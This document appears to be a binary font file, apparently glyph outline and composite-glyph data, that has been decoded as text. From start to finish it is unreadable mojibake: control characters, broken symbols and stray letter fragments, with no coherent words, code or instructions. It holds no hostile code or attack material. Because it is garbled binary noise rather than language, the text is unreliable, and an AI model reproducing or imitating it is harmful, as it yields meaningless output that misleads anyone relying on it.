dr��ȃ���**((**�ه���('%32676&+73#7! !�[��*)g�[�P�����22����y����Ry5y��������('#73#73#7! !'32676&+3#!�D��D���22����[��*)g�[D��y^y^y������y�����y��'#7!!73#7!!73!73#78y �;yLy��K� y8�����'�ߦ�Ά�{��z���y5y�����D2 !"'&'73327676'&+7327676'&'&#676�0st��YX���V`af*t55ulEC:;�&&�QR//ms�,�0rpD��gGGHGf��%�]-.43_L>@x>@I`32\|�a_���e-#"'&547>32#7!3!|�QO-!�OQ-"��������Qo7*7Oo7)7�y�Ry�����''733267#7!#!"&?.�;Laj(a��b/���S�'�^X���yy���"���'#73#7!##7!#3!733!���{�K����Ps��}�t9�y6xx�~�yy���yy{X��y���'3737'%#7!#%!73�*�/>W���.�0�P�.xHyրu��yy��u���h���'#73#7!!#3!73!3!���7�y3����p���Z�䓑�y5y��|y��uu�:�yh'#3!73##7!#������g�V���}�g�'z��zz�w�zz�����E��DR"���D&#"#>3 !"&'332�`V�r�*p:}�o�f����o�m:per��ȃ�'**����**'��T���l	 676& ! ! �����Խnh�67������p\Zrq[[�v2?������H���+.7! !7>76&#"U��'7c�5V@��������gu&��8���o�up~r�}z�k�|����'	>76&#;# >7'7>3 a5]j���\j���U�v���7VA�f�X�v�6V@�g�|[Ln^[Nm[��BD@o�P�T�AA���t�H�V\���D(765&#"#6$ 6 ! ' '&73276$&#"26764O�s�*�N!�y�
�^3���������\z�"?%_^686��qp�)*
�()�"G�zt��nn�l�@J����ppDa�D��K9UV^	Ia��ӗ"_��љ��TE!676#7 ! 6%&7!"!276��x@/�07���7�4gD��CFCKRuy�qnz�����a�
y� bP��E�lD! !&"�4x4�s25�2)���������l! !267k3�����3�25�1����)�������'3!73#7!2#>&+320A������v��5��гgb&G&f��yy5y����d��O'%2&'&'&7676763!#3!73#"!73>%#"3�( YDP�|������H�E8&L��;��6}�Cy3 3->4-f7An�K	5y��yyc[��y>BWY
 *H><3�O'%2.'#7!;#7!#3!"'&'&767676#";�Pc^��y(
8E������)�htjZ_"kyfAL,!-3y 	B>y��[cyy��y5	K�nA7J3<>H* 
q�'!#7!3!73!q8T8y!��������!!�ߨ��yy5����|'#7!#3267#7!## &7�{�b&zgV�+\���l$�ٺ(�yy��ko��yy�շ������h/�!73##!#!2676&#!#��yb�S4#���ybm�x���%y,��?�|����BXkc�?�hC�	-7"&>2"&>32!73##!#!2676&#!#�<EgxFi<Eg<;Gi��yb�S4#���ybm�x���%y�XxTV:<X�XxXXxX�?�~����BXkc����t&#!#!2676&#!!2676&#!!73#�\?$���ybo�t|��yDo�t|��yE�yb�Q7��J�s����=S^hb>R_hb��>�n��+@'!#7!##7!#b�ub�����{���yy�`�yy�R>s'#7!####7!#�h;��}��`���tZ}Tu'�;Lyy�R��f�yy������'
#7!#!!73�5$w:����%w<y9�+w���������'!	!#!#"%73327676'&+�5�5#w:���wOK!Χ��-o!E��[J9K�gK�+w��IE��K=9�<&PD7NX5F������ 3273# 6%7 76#"#763 ��.2��q'��rI0o+00��q'���G2��H��Bx�W���B����W���D#232673#"'#"&'3327.76��'"΃=`r�*p:}�oӂ��o�m:per`]]x"�D���bR����**ZZ**'��Rbܰ�"���'
#73#7!#7!3!���8y!�T��y5y�ߨ��y���'3!733!73��u�����q��q{0'�Ryy��`yy����'#73#7!#3!73!3!���P�����������y5yy��yy5��y�����'�'/763!#"3!737$'&?6+7!2#7!#676&*�H@(&q]����o���AN'(?I�*&4ul���m|"V���y`��[K�yy�KZ��`y�ŋH-yy��
(c����'"'7327>?#7!#3!73!Y?TE?>'ZW/!"�d����p����"4N�}%Vڤ��yy��yy5��������7333!73'!3!eM
��Y�H\)��tpA#K�C�CC��C-:�}�C�#!#737!3!73#7!#7!373#7#!73�%e/�x%��g��H�+W��;�U?U�J�U+��
C��CC�B�v��i��i��w������$73#7!2#32676&+32676&+x�x-���w���6SlxWpR�Zx�bwZ�C�BefIVmZzt�EGHA�PSXXV���3�	%/32676'&'#73#73#7!23##367676&+c;x�1!A��E
yC��6y
.��E��A��"�;&;YoS�UYZ,
�aD[MDghJ,M7\|v�#HIB���)�	3276'&+73#7!2#[W�VWP21�X��x�x�no,-���RSfRS�
C�Bij��������73#7!#7!373#7#!73x�xM+W�t;�V?V�J�V+�C�B�v��i��i��w�<�L�!73!##33!#7!#3���+W�J�V?V�;�tW+Mx�x��wMiiv�B�P6��.#"326?#7!#"&$32�ox��))\�5`*2rSFt�n��XH�d�[-�ma�����B��+*���#$������73#7!#!#7!#3!73!3x�x�y>w=x�y�x�xK��Ky�C�BB��BB�PCCP��C���|�73#7!#3x�x�y�y�C�BB�PC�4���7332767#7!##"&�R0=!"���x�[[�4f�3))q�BB�$�>=�����73#7!##7!#3!3x�x�yC�e_~�vk\����Jy�C�BB��,BB��NC���C���A�
73#7!#!73x�x�y�rU.�C�BB�X�������73#7!!#3!73#3%w�w����x�x�x��]���x�C�B��B�PCCr��=��C�����73#7!#7!##3#x�y&�rxIx���Dvx�C�B��BB�
Q��C`���3#3!73##7!�b~�
y�y
�
yc�kf�x
�
��=D�DDD��DD6�,�27676'&#" '&7632�yNN)(&'yw�PNU�&nmX����mn-,��XY��YX����Cqr�qrqr��r��!6767 ! 767&763"276';���)��+�V��+�q�M
��D:8�<�XMs���|bI^�<�{�N\F`������73#7!2+3327676&+x�x��0؜�=�>GR;<LRG�C�B�܃��C�00OP^�����&3!'.+3!73#7!2%32>'&+�6!!W`��_46&Cy�x�x�ML��~SXr"&&YR=0�C�M*��CC�B9:iVdT�)*<��73!#7!#7!3�}���W.�-U���}�C���͂�YCz���#7!#3267#7!##"'&7�x�x[#)*���"[wHx^*���LK)�BB�e�=={��BB�Y��QQ�A��###7!#3#7!#�O���d\�eDJ�M*p$a�V���BB�;��BB,��&"32677!7#"&76763$TS& =:InT��E{zlz����"Y*�hP]h5�EL\�|}l�\�327676&#"7!632'"2$TS&!<:K��nTE{zkx���"Z)�hP]h���EK\�}}l�5���)6737'&''"&7676'&7676�?BQW2*l;�h7>^�@dc�ܪTB*'8$DC'
�.58B�y$W=D
!�$TT�j�R51�d.7��	6326?"327>4'&"#"&5476%674#"#> 672#"N<B��$TS&+wJ�BMx�(��Hih1�)M]�z6$�ӿ�S_�#�+"Z)�G(]h��SL��DAe`?>H0F���X�y,#7!>32#"'&'#32767654'&#"`?M&jG�@*
 ee�F++�	BE''DC((�B��.-S6R*/�RS-J6'!.01~M10.-g/��+7654'&#"3276#7#"'&54767632#7(
	BEMDB)(z��'55G�?* dc�FW>`�:7&".`~N00.-���J-S6R)1�RR-.BL�
(654'&#"327673#"'&54767632/;:#&
WI44h1���K4
 rq��E1
�J..-6mA6X3"!@c^P8X'.�QRV;a,2\�326?%!76&#"#>32#"&C<9F�B�8WHii1����! 㩦��t]\k
ArdC?c^�����5��2"&76767&'&7>32#6'&#";#"2673���
HIvp78
Ǯ7<=@I"!JD+*	%%VY33	EHZkHF�UM9''
''8NU
v34*"#B"#)43DG64A��12#"'&'73327676'&+7327676'&#&#676����vp87
Ǯ7<=@J"!JD+*	$%WY34	EHYkHGUN8N
''9MU
v34)##B"#(53DG55>��';#"'&'73326?#"'&547>327!654'&#"32767vq�CCBEH#%Rgh&55G�@* ȎGV>��	BENEB()��|�		�2VnB-S6R)1��-.KC�7&".`~N00.-fn���#"'&54767632#7!3!b
T32	**14^`?s_��
-=+
�C��CV�m##7!%#733#5߰_>z>Q���H��I�B���CC���C0r�-1>323!654'&#"#654'&#"##7!67632c<xHt,	D_��L
4<SP�M
4<)*P�t`>378ERZ�:69$<"*��CWG%
OJ��WG%
('J��CS37���,654'&#"##7!>32#"'&'7326Ad6CSI�s_>4rNq-	b��&*),G	).0g�'
V^��CS4/:&;"(�GY\
}

4M�S 2767654'&" '&547> R�()�R���R;	 �bR;	 �55�\64j�[6tR;\#)��R;[$(�2��>32#"&'7332676&#"n/��� !�E�D$F?H]h3WD`>dc�����JHn��qFB���> #6&"� �b� �!�Rѐ����ij����� &73267� �� �!�RБ����ij�Y��,32767654'&#"'#7!67632#"&'#�

CE'&EC((�_?&55F�@+ de�FVE��:6'!.01~M10.-^CK.S6R*/�RS--��v��#73733#32673#"'&547�aa(�(��P
$(2^9:y�)�C��C��101X#$&3$����3!7#"'&547#7!32767�s_��489Oq-	D`?L7D)(I���CR4:%<!)1C��E%,+_HG;G!73##!#!2676&#!#�QL7^5"����L7�}K	Yl��L�U��#]EdgU%1<8I��D�.#"'&7#7!32767#7!3267#7!3!7#"&U<xIs-,D`?M

4;**@P/L3<T@P.r_��2oFRZ;599s1C��l()I!C��nPJ!C��CR3/6��o�
#7!73LzJf�W���C�KrCC������#232673#"'#"&'73327.7>B[�~R(<H]G OrF�Sf�FiE FBH<:<O��Qc{7.IL�22�LI.7{cO����&-327676'&+7327676'&#6#"�'2>E		.)
 #- Y'|,߬.:�@O==^VM1�@�06PU5DC&2VH*����t�3>Wa0.X9Sv|e�U�'&7#7!676'&'73ϑv)GC]dNIB�3
 Qz!-�rg�(C9=r <�(�s9+* Mm�!&.&76767672#6'&'&#"72 &767626&"�][Y�?KJGF	%CK.	V�TT:��tE,�N8$�O7�4R_&#
x1\TS�ڧ���S2��lkl��U�k�86767676'&#"#7&'&'&'&767673676�C+0)DQ.�-�#I#$"POwQ.%7	D��^u%1)=/*Z*�(-�o4>��b��H1WcII$G9j?:]�'  ,AWUX0H����43!73'&'&'"#7676727#7!#327673"'&'��K�vHQ/

&*;"!&($#�A�H��,
&;"!&($��<<��<"&rH��<<�?�<	&qH��,�X��T���9cu�T������IC�T���oIF�T����&rH�T��e�USI�T���<d32676&#"%63#"&'#K*CEK&ECN��@8^�=AŏGW>�G;h]c��b]�G)	RV���-/���U�kSK�T������dL�T����D-7'&'47#7!7267!63232673#"'4#"3 76��F-l��y	Wk�!tcdu�	C�P�s�*�N����z�4|_p32/jDl=J+y��}C(6��T����"G�zt��oo]�����&��9D#66$!2#654'&#">32#"&'!3267654'&#"�,n#j�m2q7<���'=�p�dC3���p���� in{,mi�$o�!!�	\/3��ySQ�d�KX����QS��cF='S��W7"X�����������>'!#3#3!73#73#���C��E��o�F��C�'y��y��yyfyV@�'73#7!3#3#"'&?@�C��Z�� [��BU,�yVy�1y��<=c0?�3�V�D(373#7!>323##"&'!%!654'&'"!3276K�B��=�p�eD^]8���p�n���z�
nj?=S�qjm>6�yVy�SQ�d�-1y�QS���y`A5"WSO��dF=&SXM(��|'%#7!#!#7!#3## &?#73!3267�{�C�C���C��$�ٺ(��0�&zgV�+�yy��Vyy��y\����\yy%�ko�����',4!3#'"&'&'&7#736767!7!!6'&'7!!276q���6 �uBDka�z{�HPx�">g���!J3�
��=&)�TN�@|JPyg_bJCHFDL`]iyPJ|@yy�ZfhV}y���hpph���9m%3#"&'73326?##7!W� ���<�E,q.BIL���yy}���PG^{}�x��
*#7676?6&7667632'&76&#"�?BQW2*l;�h7>^�~ dc�ܪUB*'8#EC(	�.58C�y%W<C ���US��R51c.M�&#"'&54767632#654'&#"3267�.��P9	 ts�FEDE$G G^34WCacebQ9[%+�QR�
8$77�G1+9GBb-,�,3276#'676!"'#767&'&632#6'&#"[(cV9�/c�� ��tH
VW>��e543";H^>@&T;D
'�n'/OO8+T�

�M#$@B|46�Q	,#"&7>32.''7.'77.#"267>�dM"��5��X= V�3���-FS$�Q
�R�~�����"=R7H"=
(U9��

i~�ih�;i8��0"'&733>76'&+7327676'&#"#767632�00kCHET	$$XW54	DJ-,IIAB6���vp87
��46GD384)#"B#"*43v
UN8N
''9MU����#267#737>32#654'&#"3##0>2<wcd��5d/G,2;��wOy�?GCIae
}?GKC��s!2���|�#7!3##"'&'7326?#73�_>tji��&**+G	).0^^�C��CEY\
},4CEC@���'!##"&'73326?#"&76767#"3267�_r�C�EGKQhh&kF�~ fd,FM8#EBQ�C�|��:8VnB--��~TR���`�a[f����3!#"&7#7!32767#7��c��G4rOqYD`?T6C));R��B<4.tq1C��K+,^C1��3!#737#7!3#67632#"'&D_��;`_*_>9`_�
**32
	**23�CC�C�C�--+����#7!3#"'&�J]<W9mu)6eMC�xH!"6#�5�'!#3!73#�P�_e`�b_d_�CC�=CC�V�v�!#3#3!737#737#��_*_`,`�b_,_`)_�C�C�CC�C����n+667632#"'&#&767232#7!#6'&'&#&76767}
*)41
	**2321SP��w_>�6E	�tT�-,+��*/zlC�r#-1,PE1Oc�$#7!32673#"&7"`>�.*-G0X&�}�B�cC4',|
\Y#�~3#"&'733276?##7!�`��&S,G	).`�_?�Y\
|,'DEB���
73#7!#373yex�yd�U.�C�BB�A����.5>32#"&'7332676'&#"#6&#"##7!>32;yHs,.c��&S,G	).0\
5;)+O�M4<**O�s_>2pERZ�:69:r�GY\
|,'4C�l')I��Wl:')I��CS307��^�.#"'&7#7!32767#7!32767#7!3!#"&m<xHt,,D`?L
4;*)AP/L4<*(AP/�_��G3oERZ;59:r1C��n('K!C��m:('K!C�B<3/6���)$#7!>323!6&#"#"&'733267�_?4rNqZD_��S6CRZ��&S,G	).0�CS4/tq��CyJ:V^�rY\
|,'4C��"#7!>3232673#"&76&#"�s_>4rNqYc.*-H0X&�}e6CSI�CS4/tq�GC4',|
\Y�J:V^�����73#73#73##3VdV�4=A�Vtu��?A�C�E��EE��_��CV�J	 &7> 2767!7!6'&"<���  �b�  �(�($��)#��������f5/ut/�o-45-S��'!#7&'&7676?#676'&�#:�Ma  �j�3�3�Kb! �g�+{'g 2?(h#1?
��
AR��RA
��@R��R?��)�
5��5��/
55%��8332676&/.7>32#6&#"#"'32673#"&7\GOQDR%?XcJ��<�M!GIQDN!2W})(��.).G0Y%�}`AE)'#'TG`]�<<&$!+*Mc^7C4',|
\Y���!67632#6&#"#"&'7332767cS�5d/G&,4*$cS�&S+G*.$>`33
}**!F�&P7.
|,'(5����"#73733#;#"&'733276?"&7*aa)�)��O%���&S,G	)-�S�C��C��L&sY\
|,'E5Ke`���%7#7!3#3!7#"&?#737#7!#3267�*R19YX,_��4qOqYQQ*`?9��7DQ��C�C�CR4.tq2C�C�Cm;W_R�^)##"&'&'&7>7#7!2676'&'7!O�gb
WC<HJLN~-2�x�C1&�j�#�O;m(%'%)65<O�#C[F6We>>|eY5B[L�m�#7!#3267#73##"&7�_
�
R6OA7l3X
�
R<���x�CC��o<>}CC��g�vs��t�$7#7!727676'&'73���+I`>W`?65Qg12
,+C<HI��GC�u|=>fX5B#GGN<67(%���33!"3'&76��zJ��gf\)J�x���C�uq�D�����~�"%	327#&'&#"'7&'&#"7633267�FO2Lqpe4PZ$#I?�P2Kroe4QZ#$I>��d
%PW]$(C�	&PW\#(1��� 7!#7!!3327673#"'&?1��K%p��
.)G1,,&�A?�C�d�B�:uC,|
.,[E G&�"#767!7!#7!367676'376�V����K$p�%5>fSC�`+A�PP
C�d�B�:K2Sk>;'�5�#"&'7332676&+?!#7!�<V��J�R(MPW`}We)��K$p�.Css{�NR\VYa{�d�BV�J!6'&"!276 &7>32W'
�3*��(
�/*���..����..v�IVVI��HRRH�����������f73!7������(������D�:f!!3�z�(�䲤��x���f!7!#���@(���������bf#!�z�R(��x���f	3#'#3�V򰤥��򰤥f����x����Hf	%3#'#��������Pf����x���^���&$���E��D&D�������B�'
w�u%��1��)�&E���5����KB�&%�0��1�K)&E��m�����B�&%����1��)&E�����U�oKk&�
p�u��E�o�f&���������'
w�u'����k�&G��)5����K��&'�����Kl&G���������&'������k&G�������o��&'�����ok&G���������&'��s�&���l&G��f�&����0u'
�S(��D���i'
����H����0u'
�R(��D��#i'
����H����0�&(�c��D��D&H������90�&(�c��D�9�D&H������o0k'
vxu���D�o�5'�������%�'
wTu)�����{��&I��5��U��~�&*�u��.�9U&J��������'
wu+��D"�&K���5����K��&+����E�K#&K��������'
ou+��D"�&K���5����o��&+����D�o"&K�������;��&+����D�;"&K��!�����9��&,����"�9�&L�������Fu&
��,��u�V'
��_�������8k&.
p.u��D.k&N�
pdu����K8�&.����D�K.&N��������8�&.�@��D��.&N��-����K+�&/����.�K�&O�\����K+P&�qD��.�K�P&�q��D�����+�&/�e���j���&O�������+�&/����&�����&O��F�&����	
k&0
pfu��q�f&P�������	
~'
wjp0��r�N'�jP����K	
�&0����r�K�D&P�=������'
w�u1��rPN&Q�����K��&1�~��r�KPD&Q���������&1����q��OD&Q��Z�������&1������r�PD&Q��� ��U���u&2
����E���S&R
�����U���q&2
����E��6K&R
�����U���u&2
����E��i&R
���U���u&2
����E��Di&R
����k&3
pxu��3�V~f&S�^�����'
w�u3��3�V~N'�S����9�'
w�u5��q�N&U�������K9�&5�a��`�K�D&U������K9P&�q�D��`�K�&�q������9�&5���������D&U�������t�'
wu6������WN&�BV���Kt�'��6�����KWD'�BV������&6
�}�������8&V
��������t�&6
��������|&V
�-�����Kt�'
wu������KWN&�B���_q�'
wDu7��b����&W���5��_�Kq�&7����c�K�q&W�5��^��p�&7��A��-���q&W��z��_�q�&7����&�����q&W���&���Ka�&8������K^'&X��%���9a�&8������9^'&X��$���a�&8������^'&X��#����au&8
��������Q&X
������aq&8
�������_q&X
����l�o&9�
q:u��)�V&Y�����m�K��'��9��*�K�*'�OY��g	�r'
r�|:��=f'��Z��g	�r'
p�|:��=f'��Z��g	��&:j�A��=�&Zjh����f	��&:��|��<N&Z�����g�P	��'�S:��=�K''�wZ����w�'
wIu;�����N&[������w�'
oIu;�����N&[����g[�'
w%|<����9N&\�������&=�du�����f&]�������K�&=������K�z&]�?�������&=�,�����z&]����D��"&K��-��b����&W���5��<&Z�������9&\����E���&D��.�����{��'��5A���{�('?#73767632#654'&#"7#7767=*���#���U�K-pEP^&�+��)|��P//�-i��y��\\�
9&s��]i����<[p:9�����{�'7367632#654'&#"!!#7767#737��,W��U�K-pEP/���)|��P//����yc<\�
9&:2y�C�<[p:9��yy����+�2#"&'332>54&+7#"3!73)�X���XyN@y�=a5"��B+Y�q�oF�����CiU�*b�Z:�]��_%+H1*�Ec{\%s��C����yy�V%���
4EXQ��%��	-���^�K��&$����E�K�D&D��Q���^�b&$��u��E����&D������^�o&$
�-��F����&D
�a�����^o&$
�,��F��T�&D
�a�����^��&$
�,��F���x&D
�a�����^��&$
�,��F���&D
�a�����^�K��&$'���|u��E�K�f&D�'�Q�����^�u&$
�.��F���5&D
�������^�u&$
�.��F���5&D
�������^�	)&$
�.��F����&D
�������^��&$
�.��F���N&D
�������^�K��&$'���|u��E�K�5&D�'�Q������K0�&(����D�K�D&H�I����0b&(��u��D����&H�����0o&(
qdu��D���V&H�������o'
�W(��D���&H
��������Jo&(
�W��D����&H
����������&(
�W��D��+x&H
��������0�&(
�W��D���&H
��������K0�&('����u��D�K�f&H'���������b&,��u��D��&L��t���K��&,����@�K�&L�o��U�K��&2�F��E�KD&R����U���b&2�@u��D���&R��<��U��o&2
����E��-�&R
������U���o&2
����E����&R
������U��<�&2
����E��Lx&R
������U����&2
����E��&R
������U�K��&2'�M��u��D�Kf&R�'������T��k'
p�ub��F��
f'v�c��T��k'
r�ub��F��
f'C�c��T��b'�@ub��F��
�'�<c��T��o'
q�ub��F��
V'��c��T�K'�Mb��F�K
b'��c���Ka�'�y8����K_'&X������ab&8�su�����^�&X��S����	k'
p�uq������f'v�r����	k'
r�uq������f'C�r����	b'�suq�������'�Sr����	o'
q�uq������V'��r���K	�'�yq����K�b'��r��g[r&<
r�|����96'C���\��f�KZ�&<�������9'&\�p��fZi&<���|����9�&\����fZo&<�
qu����9V&\����*�
#73#7!#!73!!1����L-�H�����y�yy�-�\�-F�%3!#737#7!!7#7!3#3!!�������10��1��Ϙ���yy�y�x��x�y��y���T����&*6���T����&*n���T����&*C���T����&*P���T����&*D��T����&*Q$��T���&*E���T���&*R����^��&6����^��&n�p��}q�'�C����q�'�P�����E�&rD�����i�'�Q����^�&E����^�&R�v��3����&.6t��3����&.n���3����&.Cg��3����&.Pr��3��	�&.D���3���&.Q����n�'>6�����\�',n����}	r�'BC����	r�'BP���t��'�D����	�'�Q�����VM�&06����VM�&0n�����VM�&0C�����VM�&0P�����Vl�&0D����Vc�&0Q����Vr&0E�����V]&0R����	�'>6�������'2n����}�'NC�����'TP���t
q�'�D����
��'�Q����	�'E�l���	�'�R�m���!M�&26����!M�&2n���[!��&2C���q!��&2P����!��&2D���x!��&2Q����!&2E����!&2R����<�'J6�����$�'2n����}:�'HC����@�'NP���t��'�D������'�Q�����'
E�l����'�R�m��E���&86���E���&8n���E���&8C���E���&8P���E��V�&8D��E��@�&8Q��������&<6�������"�'�n����}��	��'�C������	��'�P���t����'OD������0�'�Q������C�&>6������C�&>n������C�&>C������C�&>P������[�&>D�����U�&>Q�����C&>E������C&>R�����'�n�����
!�'�P����	��'ZQ�����'pR�m��W��P�&B6���W��P�&Bn���W��P�&BC���W��P�&BP���W��P�&BD���W��P�&BQ���W��P&BE���W��P&BR���&#�&"T6����he�'"�n����}	��'"C����	��'"P���t�'"PD����e�'"�Q�����'"E�l���+'"\R�m��T���f&*b���T���f%��3���f&.b���3���f&����VMf&0b�����VMf'���!Mf&2b����!�f(��E��f&8b���E��fE�����Cf&>b������CfF��W��Pf&Bb���W��PfG��T�W��&����T�W��&����T�W��&����T�W��&����T�W��&����T�W��&����T�W�&����T�W�&�����^�W��&�5����^�W��&�5���}�Wq�&�5����Wq�&�5����WE�&�5S����Wi�&�5w���^�W�&�5����^�W�&�5�����VM�&���V����VM�&���V����VM�&���V����VM�&���V����Vl�&���V����Vc�&���V����Vr&���V����V]&���V����W	�&�5G����W��&�5;��}�W�&�5W����W�&�5]��t�W
q�&�5�����W
��&�5����W	�&�5
���W	�&�5��W�WP�&��@��W�WP�&��@��W�WP�&��@��W�WP�&��@��W�WP�&��@��W�WP�&��@��W�WP&��@��W�WP&��@��&�W#�&�5��h�We�&�5a��}�W	��&�5�����W	��&�5���t�W�&�5����We�&�5a���W�&�5����W+&�5'��T���5&*����T���&*q���T�W�f&����T�W�A&�*��T�W�f&�%��T���V&*7���T�W�V&�-���^�}&�H���^�P&qD����f&Hb�v���^�f���^�W��&5������6����W�������'&767632'6g@"$5/AD& !7{ZI�	')>61+8B8Y(Bw/.��V���O)��&j7�V����VMf'��V�����VMD'��V0����VMf'��V'����VMV&07�����VMV'��V<��}f'�b�v��W�f��}	�f'�b�v��W	?f����W��&5	����)�'6��bS����T�'6�m ��m�u'7[�6���!�5&2�����!y&2q����!��&2`����!]�
���!�V&27����!-�&28������k&
v�u�����P&q��D��}�f'�b�v��Wlf����:�'bdn�����T�&m n����f�n'7T�n�����C5&>�������C&>q������C�&>`��������)����V'�&:6�����V'�&:n������CV&>7������_�&>8���g[k&
vDu��g[P&q&D��}�f'pb�v��WAf���R�'Dn����O)5�'b��j��O)������fC��W�WPf'�@���W�WP''�@B��W�WPf'�@G��W��P�'7��B��W�WP�'�@f��}��5f'�b�v��W���f��}f'"�b�v���f	����W��&"5�����4fv�� �&'&767632s8lM:<DA"
41�x./wB(Y8B8+16>)'T���!!�t4�����T���W�:�!!��.�K��V���!!�$.����V���!!�$.��������!!.������)&__J�����&BBT�q�!67qn|��0߿hC��7�`C�`�>?!Cm|1޿C��7��a��;?>?!m|0߿�C��7��`��!�&'&547! ��6"
�a�UmHS7N@3*^T�B�!67!67Bn}��0�~n|��0߿hC��7�a�C��7�`C�1�>?!%>?!m{1޿��m|1޿C��7��a�C��7��a��?>?!%>?!�m~0߿��m|0߿�C��7��`�C��7��`����0&'&5470!&'&547! ��7!
#��7!
�a�UmHS7O@3)^C�a�UmHS7N@3*^d�;L�3%%#7J�~�*�q���c*��J#�#��R#�#��;L�3%%%%#77J�~�*�q
\�*�q,�~�c*�
\�c*��J#�#����#�#�I�#�##�#'��`467>32#"&'.'535�II�245633�JI�326�J�235624�IJ�336633�'AF�'Ao�H���$`7>32#"&��NOZ�ONZ�NppNOpp����`	%>2"&%>32#"&B��Z��Z�s�NOZ�ONZ�NppNOppONppNOpp���[`!%>32#"&%>2"&%>32#"&��ONZ�NOZ�t��Z��Z�s�NOZ�ONZ�NppNOppONppNOppONppNOppx��
��
",0<G2 &7>"32676&"32676&'2#"&6!3#2#"&7>"32676	a��&'�'&�@R !@AS! ��@S !@AS! -��M󿾣M�N��,�ٿ�&'󿾢'&��S !@AS! ��������d��������ߋ�������e�v�����-��������d�������	x���
!-9CGS^2 &7>"32676&%2 &7>"32676&"32676&'2#"&6!3#2#"&7>"32676ο�&&�&&�@Q!!@AT  �f��&'�'&�@R !@AS! ��@S !@AS! -��M󿾣M�N��,�ٿ�&'󿾢'&��S !@AS! ��������d��������d��������d��������ߋ�������e�v�����-��������d�������`�!���`u����`��&��w��`��'�w&���J`��#!Ţ�`u��J`A�&��|��J`��&�'�|���<#%#��������#���-7��Ѳ�v -��������e��-	7� ��-�-����AB�����&�����%>32#7#>32#"&67676��i��((��(�)(H"y�NOZ�ONZL�S�""�������B��)NppNOpp�\�t��MB0��-���'
�{'
�{
����j�3#���,���O���3!!#3Y����b7Ց�T�x"x�^���z!!73#73#B8����Ց�Ց���x�^������&"�"������&"�������&�"`�;��2####7b��%$��ڤ�0��И0q�辸�����}��fS3'#"&'.467>3��،I�326535�IR�2633���235��fS'372+r�،I�535623�I��532���336��-�
��M��
�	"&7>2&7!
��Z��YK��{+:-NnnNNqp�ȎmD�X��l���a#
%#'-73%
%#'-73%���=�����=��=�
=��=�����=��=�
o��q����q��p�����q����q��p������B:�'�'���l�d��?#"'&'&'$#"5>32326���w�
���sՐ�����s�?�VR:BHI�WQ9DH��`t�'��&�'�w�e1�<�
27676'&" '&632�)*65�)*65	��KL\����\�<<��==<<��<|nn���d,��>32#"'&543!#7!�
T32	**14^`��s_>�-=
+
�`CC	�&�!737!733#3%��}���f��}��A���^yX��^y�N���7�%!67632#"&'73327676'&#"#7 �(0679�TTuv�M�M(LHW]99  Y-,*(?[��LM��KK�PP76om67$�,�E� -67632#"'&76$32#&'&#"27676&"0/66<�BBnm��LM,2�9?@F L%&EqAA8�&'"�'&�JI��JJfe����8CD��10vw`00wv0H�7�	#!#!���.W<�d�H�p�O�(7 '&76767&'&7> '6&#"3266&#"3276`m.-pp��UUHGs^''�V�<<m":;>:;>,*HI%&IG&'a88[q<==<q[88/.HhnnhH./�WBBWV  @��dL&&df''''�9�-"27676'#"'&767632#"'&'733276K�&'"�&''066<�BBmm��NM,2���9??G M&%FoBB�01vw`00wv1�zJI��IJff���	�8DC���n!!#!5!eK�����Kn����!!���L!!�'��L�R��!!!!�'��'���|w}z��
&76$7�Ř+*�o�**)X�D���IB5Ͼ��4����
7>76&'71p�+**WǗ*+���B4н��5BI�����H�X#7!676323!654'&#"Ht_?499Op-	D_��T6CRJ�CS4:&;"(��Cy'
V^����1<T��d��P�T{�d��-Tt�d��5Tu�d��	&T��d��7T��d��,ET��d��H7T��d��OT��d��9T��d�������d���1����d�����-��d��z�a�h��d����a�h��d��,���d.�d��Li4�d��MSi=�d����
Y��d��\i5�d��l�gr�d��Vmh:�d��g�g��d��r-i;�d��HXi��d��Y�&�iA�d��(�u��d��vB�d����%)-7!7!7!#7!3#7!#!!!!!#3!7373'#37#��Q�Ӣ�Q�
�Q����l����U����U�P0�P-y�y�y���yy�by�y��-�Lyy�y��������4#"#7367676767#7332#.#"!!!!3267�Q�����Ly�L�h��l�}Gvmt��B�M�YRL��j�p�;���$w58
w$>C��ķ��w,16w�ܭ���u	X�"/;#7367'"76!3 !73 6&+	3 #"'3276#"&�/�H2�2��5���@c$�{���EqIew�ej	@�2�iH:�Y�F5�<d�)%p<aK �k���^������|����y��������f,�2����F$�R�N7���P��s�)05327!73#737#737#7!23#3##!3!6767%!&+�p�e�����OOLL�R�|FcIEZ7i����a����o)�p�lykUk�ywB]kkiIx�yTUk����@!!32673# '&767#7!6767!7!67676'&#"#6763 !�&8U����BA����=D��֒�х�,
�!(
@[�1m�:>AB��pp;@����}|+
E#"3'y*32Zrv����32uv�D9y/
;+y1-1]h23GH�J,|{�2+y����!*#&'&%6?3#&'&'6767	Q�l�7y5��A?��.y/54m~Gv7)K�PCY;�`�\A�76E��tS����LFΐ��C���[E��AW���TQ����RU�7!73!7!!3�d��Ƹ�d���L����y����Myo��'7!!!!3!.+732767!7!&'&#�L�M�?L�M��#jv�V43����*RVO��ZT�'L�%=�^wwLuw�RZ
.-X�`yÌMxLGwG.L��_�%#73'%7'%#7!#772$7#7!#1�S�!� J��'�"���"��r�3F��!|}����y�Yys�Yytzyy�X{r�Y{s���x���eta����%32676&+73#737#73#7!2+!!3�}�d~���2����{���''������=2�㭑����y�yyyyy����yy�y�����	��'&8r���	]�')8r��E#KF"! 3!64'&#"!'7#7!%>�'l���`�@t��Ŧ�:�1��3S�D��=J��y�HZ4�����Gd_+x�qg���_T����W�462"&54&"2765!!>3"!#7267#7!�n�C+�q�j�9�8P8�9N��X��z���N��Y����N׿���tvNK��w�L�d<Tu4a<Rt�������9P�Q3�ӊ��9PSy������(!#5#3!53##%3#3!53#3!53#5�5L�V��V�K����VV��V�q�V�TTմb�`PP�b���%R�`PPg����PP�R������"Q��M�(!#! 76'&'7!#7! '&676����<�&��49FF���:343�&�<����[[+=�������=+��}5� ����ٚ���)�� ���}\������<ܡ�����8�.���7�m�����#3!3!!#3!#7�����D�)h]��%�d�%{y��y�y`�߾�ly���� 6$3 #"$'3 4&#"3!ђ:�>lrq�����;z�vD��8p99�1��dGE����Ã��875GFX�����n�)!!K��^7%�#^�	!!^���9���+#���)!!����D�C�y�y)��fo��^��s�8E!6$3 #"&'33267654'&'!73>7'#>7654'&#"��et�,�o
